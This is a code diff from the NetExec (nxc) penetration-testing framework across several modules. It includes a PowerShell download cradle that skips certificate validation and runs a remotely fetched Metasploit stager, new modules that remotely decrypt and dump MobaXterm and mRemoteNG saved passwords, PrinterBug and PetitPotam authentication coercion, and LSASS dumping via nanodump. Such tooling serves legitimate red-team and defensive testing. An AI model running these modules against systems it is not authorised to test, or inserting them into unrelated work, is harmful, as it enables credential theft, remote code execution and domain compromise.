-        $DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
-        $PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
-        if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
-        $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
-        $ProcessInfo.FileName=$PowershellExe
-        $ProcessInfo.Arguments="-nop -c $DownloadCradle"
-        $ProcessInfo.UseShellExecute = $False
-        $ProcessInfo.RedirectStandardOutput = $True
-        $ProcessInfo.CreateNoWindow = $True
-        $ProcessInfo.WindowStyle = "Hidden"
-        $Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
-            "http" if self.met_ssl == "http" else "https",
-            self.srvhost,
-            self.srvport,
-            self.rand,
-        )
-        context.log.debug(command)
-        connection.ps_execute(command, force_ps32=True)
-        context.log.success("Executed payload")
+        # https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
+        proto = "http" if self.met_ssl == "http" else "https"
+        metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
+        context.log.debug(f"{metasploit_endpoint=}")
+        
+        # use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
+        command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
+        context.log.debug(f"Running command via ps_execute: {command}")
+        
+        output = connection.ps_execute(command)
+        context.log.debug(f"Received output from ps_execute: {output}")
+        
+        if output and "Unable to connect to the remote server" in output:
+            context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
+        else:
+            context.log.success("Executed payload")

nxc/modules/mobaxterm.py

@@ -0,0 +1,128 @@
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
+from dploot.triage.backupkey import BackupkeyTriage
+from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
+from dploot.lib.target import Target
+from dploot.lib.smb import DPLootSMBConnection
+
+from nxc.helpers.logger import highlight
+
+
+class NXCModule:
+    name = "mobaxterm"
+    description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def options(self, context, module_options):
+        """
+        PVK             Domain backup key file
+        MKFILE          File with masterkeys in form of {GUID}:SHA1
+        """
+        self.pvkbytes = None
+        self.masterkeys = None
+        self.conn = None
+        self.target = None
+
+        if "PVK" in module_options:
+            self.pvkbytes = open(module_options["PVK"], "rb").read()  # noqa: SIM115
+
+        if "MKFILE" in module_options:
+            self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
+            self.pvkbytes = open(module_options["MKFILE"], "rb").read()  # noqa: SIM115
+
+    def on_admin_login(self, context, connection):
+        host = connection.hostname + "." + connection.domain
+        domain = connection.domain
+        username = connection.username
+        kerberos = connection.kerberos
+        aesKey = connection.aesKey
+        use_kcache = getattr(connection, "use_kcache", False)
+        password = getattr(connection, "password", "")
+        lmhash = getattr(connection, "lmhash", "")
+        nthash = getattr(connection, "nthash", "")
+
+        if self.pvkbytes is None:
+            try:
+                dc = Target.create(
+                    domain=domain,
+                    username=username,
+                    password=password,
+                    target=domain,
+                    lmhash=lmhash,
+                    nthash=nthash,
+                    do_kerberos=kerberos,
+                    aesKey=aesKey,
+                    no_pass=True,
+                    use_kcache=use_kcache,
+                )
+
+                dc_conn = DPLootSMBConnection(dc)
+                dc_conn.connect()
+
+                if dc_conn.is_admin:
+                    context.log.success("User is Domain Administrator, exporting domain backupkey...")
+                    backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
+                    backupkey = backupkey_triage.triage_backupkey()
+                    self.pvkbytes = backupkey.backupkey_v2
+            except Exception as e:
+                context.log.debug(f"Could not get domain backupkey: {e}")
+
+        self.target = Target.create(
+            domain=domain,
+            username=username,
+            password=password,
+            target=host,
+            lmhash=lmhash,
+            nthash=nthash,
+            do_kerberos=kerberos,
+            aesKey=aesKey,
+            no_pass=True,
+            use_kcache=use_kcache,
+        )
+
+        try:
+            self.conn = DPLootSMBConnection(self.target)
+            self.conn.smb_session = connection.conn
+        except Exception as e:
+            context.log.debug(f"Could not upgrade connection: {e}")
+            return
+
+        plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
+        nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
+        if password != "":
+            plaintexts[username] = password
+        if nthash != "":
+            nthashes[username] = nthash
+
+        if self.masterkeys is None:
+            try:
+                masterkeys_triage = MasterkeysTriage(
+                    target=self.target,
+                    conn=self.conn,
+                    pvkbytes=self.pvkbytes,
+                    passwords=plaintexts,
+                    nthashes=nthashes,
+                    dpapiSystem={},
+                )
+                self.masterkeys = masterkeys_triage.triage_masterkeys()
+            except Exception as e:
+                context.log.debug(f"Could not get masterkeys: {e}")
+
+        if len(self.masterkeys) == 0:
+            context.log.fail("No masterkeys looted")
+            return
+
+        context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
+
+        try:
+            triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
+            _, credentials = triage.triage_mobaxterm()
+            for credential in credentials:
+                if isinstance(credential, MobaXtermCredential):
+                    log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
+                elif isinstance(credential, MobaXtermPassword):
+                    log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
+                context.log.highlight(f"[{credential.winuser}] {log_text}")
+        except Exception as e:
+            context.log.debug(f"Could not loot MobaXterm secrets: {e}")

nxc/modules/mremoteng.py

@@ -0,0 +1,212 @@
+import ntpath
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target
+from Cryptodome.Cipher import AES
+from lxml import objectify
+from base64 import b64decode
+import hashlib
+from dataclasses import dataclass
+
+
+@dataclass
+class MRemoteNgEncryptionAttributes:
+    kdf_iterations: int
+    block_cipher_mode: str
+    encryption_engine: str
+    full_file_encryption: bool
+
+class NXCModule:
+    """
+    Dump mRemoteNG Passwords
+    module by @_zblurx
+    """
+
+    name = "mremoteng"
+    description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
+    supported_protocols = ["smb"]
+    opsec_safe = True 
+    multiple_hosts = True
+
+    def __init__(self, context=None, module_options=None):
+        self.false_positive = (
+            ".",
+            "..",
+            "desktop.ini",
+            "Public",
+            "Default",
+            "Default User",
+            "All Users",
+        )
+
+        self.mRemoteNg_path = [
+            "Users\\{username}\\AppData\\Local\\mRemoteNG",
+            "Users\\{username}\\AppData\\Roaming\\mRemoteNG",
+            ]
+        
+        self.custom_user_path = [
+            "Users\\{username}\\Desktop",
+            "Users\\{username}\\Documents",
+        ]
+
+        self.recurse_max = 10
+
+    def options(self, context, module_options):
+        """
+        SHARE           Share parsed. Default to C$
+        PASSWORD        Custom password to decrypt confCons.xml files
+        CUSTOM_PATH     Custom path to confCons.xml file
+        """
+        self.context = context
+        
+        self.password = "mR3m"
+        if "PASSWORD" in module_options:
+            self.password = module_options["PASSWORD"]
+
+        self.custom_path = None
+        if "CUSTOM_PATH" in module_options:
+            self.custom_path = module_options["CUSTOM_PATH"]
+
+    def on_admin_login(self, context, connection):
+        # 1. Evole conn into dploot conn
+        self.context = context
+        self.connection = connection
+        self.share = connection.args.share
+
+        host = f"{connection.hostname}.{connection.domain}"
+        domain = connection.domain
+        username = connection.username
+        kerberos = connection.kerberos
+        aesKey = connection.aesKey
+        use_kcache = getattr(connection, "use_kcache", False)
+        password = getattr(connection, "password", "")
+        lmhash = getattr(connection, "lmhash", "")
+        nthash = getattr(connection, "nthash", "")
+
+        target = Target.create(
+            domain=domain,
+            username=username,
+            password=password,
+            target=host,
+            lmhash=lmhash,
+            nthash=nthash,
+            do_kerberos=kerberos,
+            aesKey=aesKey,
+            use_kcache=use_kcache,
+        )
+
+        dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
+
+        # 2. Dump users list
+        users = self.get_users(dploot_conn)
+
+        # 3. Search for mRemoteNG files
+        for user in users:
+            for path in self.mRemoteNg_path:
+                user_path = ntpath.join(path.format(username=user), "confCons.xml")
+                content = dploot_conn.readFile(self.share, user_path)
+                if content is None:
+                    continue
+                self.context.log.info(f"Found confCons.xml file: {user_path}")
+                self.handle_confCons_file(content)
+            for path in self.custom_user_path:
+                user_path = path.format(username=user)
+                self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
+        if self.custom_path is not None:
+            content = dploot_conn.readFile(self.share, self.custom_path)
+            if content is not None:
+                self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
+                self.handle_confCons_file(content)
+
+    def upgrade_connection(self, target: Target, connection=None):
+        conn = DPLootSMBConnection(target)
+        if connection is not None:
+            conn.smb_session = connection
+        else:
+            conn.connect()
+        return conn
+    
+    def get_users(self, conn):
+        users = []
+
+        users_dir_path = "Users\\*"
+        directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
+
+        for d in directories:
+            if d.get_longname() not in self.false_positive and d.is_directory() > 0:
+                users.append(d.get_longname())  # noqa: PERF401, ignoring for readability
+        return users
+    
+    def handle_confCons_file(self, file_content):
+        main = objectify.fromstring(file_content)
+        encryption_attributes = MRemoteNgEncryptionAttributes(
+            kdf_iterations=int(main.attrib["KdfIterations"]),
+            block_cipher_mode=main.attrib["BlockCipherMode"],
+            encryption_engine=main.attrib["EncryptionEngine"],
+            full_file_encryption=bool(main.attrib["FullFileEncryption"]),
+        )
+        
+        for node_attribute in self.parse_xml_nodes(main):
+            password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
+            if password == b"":
+                continue
+            name = node_attribute["Name"]
+            hostname = node_attribute["Hostname"]
+            domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
+            username = node_attribute["Username"]
+            protocol = node_attribute["Protocol"]
+            port = node_attribute["Port"]
+            host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " " 
+            self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
+
+    def parse_xml_nodes(self, main):
+        nodes = []
+        for node in list(main.getchildren()):
+            node_attributes = node.attrib
+            if node_attributes["Type"] == "Connection":
+                nodes.append(node.attrib)
+            elif node_attributes["Type"] == "Container":
+                nodes.append(node.attrib)
+                nodes = nodes + self.parse_xml_nodes(node)
+        return nodes
+    
+    def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
+        directory_list = conn.remote_list_dir(self.share, directory_path)
+        if directory_list is not None:
+            for item in directory_list:
+                if item.get_longname() not in self.false_positive:
+                    new_path = ntpath.join(directory_path, item.get_longname())
+                    if item.is_directory() > 0:
+                        if recurse_level < recurse_max:
+                            self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
+                    else:
+                        # It's a file, download it to the output share if the mask is ok
+                        if "confCons.xml" in item.get_longname():
+                            self.context.log.info(f"Found confCons.xml file: {new_path}")
+                            content = conn.readFile(self.context.share, new_path)
+                            self.handle_confCons_file(content)
+                            
+
+    def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
+        encrypted_password = b64decode(encrypted_password)
+        if encrypted_password == b"":
+            return encrypted_password
+
+        if encryption_attributes.encryption_engine == "AES":
+            salt = encrypted_password[:16]
+            associated_data = encrypted_password[:16]
+            nonce = encrypted_password[16:32]
+            ciphertext = encrypted_password[32:-16]
+            tag = encrypted_password[-16:]
+            key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
+            if encryption_attributes.block_cipher_mode == "GCM":
+                cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
+            elif encryption_attributes.block_cipher_mode == "CCM":
+                cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
+            elif encryption_attributes.block_cipher_mode == "EAX":
+                cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
+            else:
+                self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
+            cipher.update(associated_data)
+            return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
+        else:
+            self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")

nxc/modules/ms17-010.py

@@ -248,7 +248,7 @@ class NXCModule:
         ]
 
         # Create the IPC string
-        ipc = f"\\\\{ip}\IPC$\x00"
+        ipc = f"\\\\{ip}\\IPC$\x00"
         self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}")
 
         # Initialize the tree connect andx request

nxc/modules/msol.py

@@ -3,7 +3,7 @@
 # Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
 from sys import exit
 from os import path
-import sys
+from nxc.paths import TMP_PATH
 from nxc.helpers.powershell import get_ps_script
 
 
@@ -49,14 +49,14 @@ class NXCModule:
 
     def on_admin_login(self, context, connection):
         if self.use_embedded:
-            file_to_upload = "/tmp/msol.ps1"
+            file_to_upload = f"{TMP_PATH}/msol.ps1"
 
             try:
                 with open(file_to_upload, "w") as msol:
                     msol.write(self.msol_embedded)
             except FileNotFoundError:
                 context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
-                sys.exit(1)
+                exit(1)
             
         else:
             if path.isfile(self.MSOL_PS1):

nxc/modules/mssql_priv.py

@@ -42,12 +42,12 @@ class NXCModule:
             - rollback (remove sysadmin privilege)
         """
         self.action = None
-        self.context = context
 
         if "ACTION" in module_options:
             self.action = module_options["ACTION"]
 
     def on_login(self, context, connection):
+        self.context = context
         # get mssql connection
         self.mssql_conn = connection.conn
         # fetch the current user
@@ -441,13 +441,11 @@ class NXCModule:
         :rtype: bool
         """
         res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
-        try:
-            if int(res):
-                self.admin_privs = True
-                return True
-            else:
-                return False
-        except Exception:
+        is_admin = res[0][""]
+        if is_admin:
+            self.admin_privs = True
+            return True
+        else:
             return False
 
     def revert_context(self, exec_as):

nxc/modules/nanodump.py

@@ -39,7 +39,6 @@ class NXCModule:
         NANO_EXE_NAME       Name of the nano executable (default: nano.exe)
         DIR_RESULT          Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
         """
-        self.context = context
         self.remote_tmp_dir = "C:\\Windows\\Temp\\"
         self.share = "C$"
         self.tmp_share = self.remote_tmp_dir.split(":")[1]
@@ -98,7 +97,7 @@ class NXCModule:
             with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
                 try:
                     self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
-                    exec_method = MSSQLEXEC(self.connection.conn)
+                    exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
                     exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
                     if exec_method.file_exists(self.remote_tmp_dir + self.nano):
                         self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
@@ -118,13 +117,13 @@ class NXCModule:
         self.context.log.display(f"Getting LSASS PID via command {command}")
         p = self.connection.execute(command, display_output)
         self.context.log.debug(f"tasklist Command Result: {p}")
-        if len(p) == 1:
-            p = p[0]
-
         if not p or p == "None":
             self.context.log.fail("Failed to execute command to get LSASS PID")
             return
 
+        if len(p) == 1:
+            p = p[0]
+
         pid = p.split(",")[1][1:-1]
         self.context.log.debug(f"pid: {pid}")
         timestamp = datetime.today().strftime("%Y%m%d_%H%M")
@@ -174,7 +173,7 @@ class NXCModule:
                     self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
             else:
                 try:
-                    exec_method = MSSQLEXEC(self.connection.conn)
+                    exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
                     exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
                     self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
                 except Exception as e:

nxc/modules/ntlmv1.py

@@ -7,10 +7,11 @@ class NXCModule:
     """
     Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication
     Module by @Tw1sm
+    Modified by Deft (08/02/2024)
     """
 
     name = "ntlmv1"
-    description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1"
+    description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
     supported_protocols = ["smb"]
     opsec_safe = True
     multiple_hosts = True
@@ -32,19 +33,22 @@ class NXCModule:
                     "SYSTEM\\CurrentControlSet\\Control\\Lsa",
                 )
                 key_handle = ans["phkResult"]
-                rtype = None
-                data = None
+                rtype = data = None
                 try:
                     rtype, data = rrp.hBaseRegQueryValue(
                         remote_ops._RemoteOperations__rrp,
                         key_handle,
                         "lmcompatibilitylevel\x00",
                     )
+
                 except rrp.DCERPCSessionError:
                     context.log.debug("Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
 
-                if rtype and data and int(data) in [0, 1, 2]:
+                # Changed by Defte
+                # Unless this keys is set to 3 or higher, NTLMv1 can be used
+                if data in [0, 1, 2]:
                     context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
+
         except DCERPCSessionError as e:
             context.log.debug(f"Error connecting to RemoteRegistry: {e}")
         finally:

nxc/modules/obsolete.py

@@ -0,0 +1,84 @@
+#!/usr/bin/env python3
+
+from datetime import datetime, timedelta
+from nxc.paths import NXC_PATH
+import socket
+
+
+class NXCModule:
+    """
+    Extract obsolete operating systems from LDAP
+    Module by Brandon Fisher @shad0wcntr0ller
+    """
+    name = "obsolete"
+    description = "Extract all obsolete operating systems from LDAP"
+    supported_protocols = ["ldap"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def ldap_time_to_datetime(self, ldap_time):
+        """Convert an LDAP timestamp to a datetime object."""
+        if ldap_time == "0":  # Account for never-set passwords
+            return "Never"
+        try:
+            epoch = datetime(1601, 1, 1) + timedelta(seconds=int(ldap_time) / 10000000)
+            return epoch.strftime("%Y-%m-%d %H:%M:%S")
+        except Exception:
+            return "Conversion Error"
+
+    def options(self, context, module_options):
+        """No module-specific options required."""
+
+    def on_login(self, context, connection):
+        search_filter = ("(&(objectclass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))"
+                         "(|(operatingSystem=*Windows 6*)(operatingSystem=*Windows 2000*)"
+                         "(operatingSystem=*Windows XP*)(operatingSystem=*Windows Vista*)"
+                         "(operatingSystem=*Windows 7*)(operatingSystem=*Windows 8*)"
+                         "(operatingSystem=*Windows 8.1*)(operatingSystem=*Windows Server 2003*)"
+                         "(operatingSystem=*Windows Server 2008*)(operatingSystem=*Windows Server 2012*)))")
+        attributes = ["name", "operatingSystem", "dNSHostName", "pwdLastSet"]
+
+        try:
+            context.log.debug(f"Search Filter={search_filter}")
+            resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
+        except Exception:
+            context.log.error("LDAP search error:", exc_info=True)
+            return False
+
+        answers = []
+        context.log.debug(f"Total of records returned {len(resp)}")
+
+        for item in resp:
+            if "attributes" not in item:
+                continue
+            dns_hostname, pwd_last_set = "", "0"  # Default '0' for pwdLastSet
+            for attribute in item["attributes"]:
+                attr_type = str(attribute["type"])
+                if attr_type == "operatingSystem":
+                    os = str(attribute["vals"][0])
+                elif attr_type == "dNSHostName":
+                    dns_hostname = str(attribute["vals"][0])
+                elif attr_type == "pwdLastSet":
+                    pwd_last_set = str(attribute["vals"][0])
+
+            if dns_hostname and os:
+                pwd_last_set_readable = self.ldap_time_to_datetime(pwd_last_set)
+                try:
+                    ip_address = socket.gethostbyname(dns_hostname)
+                    answers.append((dns_hostname, ip_address, os, pwd_last_set_readable))
+                except socket.gaierror:
+                    answers.append((dns_hostname, "N/A", os, pwd_last_set_readable))
+
+        if answers:
+            obsolete_hosts_count = len(answers)
+            filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
+            context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
+            with open(filename, "w") as f:
+                for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
+                    log_message = f"{dns_hostname} ({ip_address}) : {os} [pwd-last-set: {pwd_last_set_readable}]"
+                    context.log.highlight(log_message)
+                    f.write(log_message + "\n")
+        else:
+            context.log.display("No Obsolete Hosts Identified")
+
+        return True

nxc/modules/petitpotam.py

@@ -44,11 +44,11 @@ class NXCModule:
             lmhash=connection.lmhash,
             nthash=connection.nthash,
             aesKey=connection.aesKey,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+            target=connection.host if not connection.kerberos else connection.remoteName,
             pipe=self.pipe,
             do_kerberos=connection.kerberos,
-            dc_host=connection.kdcHost,
-            target_ip=connection.host,
+            kdcHost=connection.kdcHost,
+            remoteHost=connection.host,
             context=context,
         )
         if efs_rpc_open_file_raw(dce, self.listener, context):
@@ -194,8 +194,8 @@ def coerce(
     target,
     pipe,
     do_kerberos,
-    dc_host,
-    target_ip=None,
+    kdcHost,
+    remoteHost,
     context=None,
 ):
     binding_params = {
@@ -221,6 +221,7 @@ def coerce(
         },
     }
     rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
+    rpc_transport.setRemoteHost(remoteHost)
     if hasattr(rpc_transport, "set_credentials"):
         rpc_transport.set_credentials(
             username=username,
@@ -231,15 +232,12 @@ def coerce(
             aesKey=aesKey,
         )
 
-    if target_ip:
-        rpc_transport.setRemoteHost(target_ip)
-
     dce = rpc_transport.get_dce_rpc()
     dce.set_auth_type(RPC_C_AUTHN_WINNT)
     dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
 
     if do_kerberos:
-        rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
+        rpc_transport.set_kerberos(do_kerberos, kdcHost)
         dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
 
     context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")

nxc/modules/pi.py

@@ -1,8 +1,8 @@
 from base64 import b64decode
 from sys import exit
-from os import path
+from os.path import abspath, join, isfile
 
-from nxc.paths import DATA_PATH
+from nxc.paths import DATA_PATH, TMP_PATH
 
 
 class NXCModule:
@@ -25,7 +25,7 @@ class NXCModule:
         self.pi = "pi.exe"
         self.useembeded = True
         self.pid = self.cmd = ""
-        with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
+        with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
             self.pi_embedded = b64decode(pi_file.read())
 
         if "EXEC" in module_options:
@@ -36,11 +36,11 @@ class NXCModule:
 
     def on_admin_login(self, context, connection):
         if self.useembeded:
-            file_to_upload = "/tmp/pi.exe"
+            file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
             with open(file_to_upload, "wb") as pm:
                 pm.write(self.pi_embedded)
         else:
-            if path.isfile(self.imp_exe):
+            if isfile(self.imp_exe):
                 file_to_upload = self.imp_exe
             else:
                 context.log.error(f"Cannot open {self.imp_exe}")

nxc/modules/printerbug.py

@@ -0,0 +1,117 @@
+from impacket.dcerpc.v5 import transport, rprn
+
+
+class NXCModule:
+    name = "printerbug"
+    description = "Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+        self.listener = None
+
+    def options(self, context, module_options):
+        """LISTENER    Listener Address (defaults to 127.0.0.1)"""
+        self.listener = "127.0.0.1"
+        if "LISTENER" in module_options:
+            self.listener = module_options["LISTENER"]
+
+    def on_login(self, context, connection):
+        trigger = TriggerAuth(context)
+        target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
+        dce = trigger.connect(
+            username=connection.username,
+            password=connection.password,
+            domain=connection.domain,
+            lmhash=connection.lmhash,
+            nthash=connection.nthash,
+            target=target,
+            doKerberos=connection.kerberos,
+            dcHost=connection.kdcHost,
+            aesKey=connection.aesKey,
+        )
+
+        if dce is not None:
+            context.log.debug("Target is vulnerable to PrinterBug")
+            trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target)
+            context.log.highlight("VULNERABLE")
+            dce.disconnect()
+        else:
+            context.log.debug("Target is not vulnerable to PrinterBug")
+
+
+################################################################################
+# RPC CALLS
+################################################################################
+
+
+class TriggerAuth:
+    def __init__(self, context):
+        self.context = context
+
+    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
+        rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target)
+        rpctransport.set_dport(445)
+
+        if hasattr(rpctransport, "set_credentials"):
+            rpctransport.set_credentials(
+                username=username,
+                password=password,
+                domain=domain,
+                lmhash=lmhash,
+                nthash=nthash,
+                aesKey=aesKey,
+            )
+
+        if doKerberos:
+            rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
+
+        rpctransport.setRemoteHost(target)
+        dce = rpctransport.get_dce_rpc()
+        self.context.log.debug("Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target)
+        try:
+            dce.connect()
+        except Exception as e:
+            self.context.log.debug(f"Something went wrong, check error status => {e!s}")
+            return None
+        try:
+            dce.bind(rprn.MSRPC_UUID_RPRN)
+        except Exception as e:
+            self.context.log.debug(f"Something went wrong, check error status => {e!s}")
+            return None
+        self.context.log.debug("Successfully bound!")
+        return dce
+
+    def RpcRemoteFindFirstPrinterChange(self, dce, listener, target):
+        self.context.log.debug("Sending RpcRemoteFindFirstPrinterChange!")
+        try:
+            resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
+        except Exception as e:
+            if str(e).find("Broken pipe") >= 0:
+                # The connection timed-out. Let's try to bring it back next round
+                self.context.log.error("Connection failed - skipping host!")
+                return
+            elif str(e).upper().find("ACCESS_DENIED"):
+                # We're not admin, bye
+                self.context.log.error("Access denied - RPC call was denied")
+                dce.disconnect()
+                return
+            else:
+                raise
+        self.context.log.debug("Got handle")
+
+        try:
+            request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
+            request["hPrinter"] = resp["pHandle"]
+            request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
+            request["pszLocalMachine"] = "\\\\%s\x00" % listener
+        except Exception as e:
+            self.context.log.debug(e)
+
+        try:
+            dce.request(request)
+        except Exception as e:
+            self.context.log.debug(e)

nxc/modules/printnightmare.py

@@ -1,6 +1,6 @@
 import sys
 from impacket import system_errors
-from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
 from impacket.structure import Structure
 from impacket.dcerpc.v5 import transport, rprn
 from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -55,12 +55,13 @@ class NXCModule:
         )
 
         rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
-
         rpctransport.setRemoteHost(connection.host)
         rpctransport.set_dport(self.port)
 
         try:
             dce = rpctransport.get_dce_rpc()
+            if connection.kerberos:
+                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
             # Connect to spoolss named pipe
             dce.connect()
             # Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB

nxc/modules/procdump.py

@@ -7,6 +7,8 @@ import re
 import sys
 import pypykatz
 from nxc.helpers.bloodhound import add_user_bh
+from nxc.paths import TMP_PATH
+from os.path import abspath, join
 
 
 class NXCModule:
@@ -30,7 +32,7 @@ class NXCModule:
